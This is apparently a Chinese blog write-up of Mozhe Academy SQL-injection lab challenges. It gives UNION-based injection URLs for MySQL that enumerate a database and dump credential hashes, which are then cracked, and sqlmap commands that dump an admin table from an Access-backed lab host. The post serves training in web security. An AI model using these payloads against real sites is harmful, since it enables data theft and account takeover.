这段时间联系一下SQL注入:墨者SQL手工注入专题

三种数据库的注入详解

数据库:MySQL

墨者学院-SQL手工注入专题MySQL的很简单

1,查字段数
http://mozhe.cn/new_list.php?id=0 order by 5 时报错,说明字段有5个

2,查数据库
http://mozhe.cn/new_list.php?id=0 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

limit 5,1时返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。

3,查表
http://mozhe.cn/new_list.php?id=0 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1

数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice。

4,查字段
http://mozhe.cn/new_list.php?id=0 union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1

数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status。

5,查类容
http://mozhe.cn/new_list.php?id=0 union select 1,2,concat(name,password),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

查到两个数据:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-d8dbe0baa6e0bbcc3b0d1e8219a5d2ad

MD5:
dsan13
392969
登录第二个账号得到key

数据库:Access

access数据库没有索引语句只能猜解。

判断数据库方法:

and (select count(*) from msysobjects)>0(返回权限不足 access数据库)

and (select count(*) fromsysobjects)>0 (返回正常则为MSSQL数据库)

墨者学院-SQL手工注入专题
直接用sqlmap跑:
默认回车,线程设置10.
跑出来两个表:
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" --tables
墨者学院-SQL手工注入专题爆字段
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin --columns
墨者学院-SQL手工注入专题
这里猜解到username和passwd这两个字段,很有可能用户名和密码存放在这个两个字段中

读取username和passwd字段中的数据
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin -C username,passwd --dump
墨者学院-SQL手工注入专题md5解密得到密码
墨者学院-SQL手工注入专题登录得到flag

记录个讲的很好的教程:sqlmap注入access数据库

SQL Server

https://blog.csdn.net/qq_42357070/article/details/81239721

这题道很难

相关文章:

  • 2021-10-07
  • 2022-01-12
  • 2021-05-03
  • 2022-01-04
  • 2021-08-02
  • 2021-09-08
  • 2022-01-11
  • 2021-09-13
猜你喜欢
  • 2021-10-15
  • 2021-12-03
  • 2021-08-30
  • 2021-06-07
  • 2021-10-21
  • 2021-10-11
  • 2022-01-25
相关资源
相似解决方案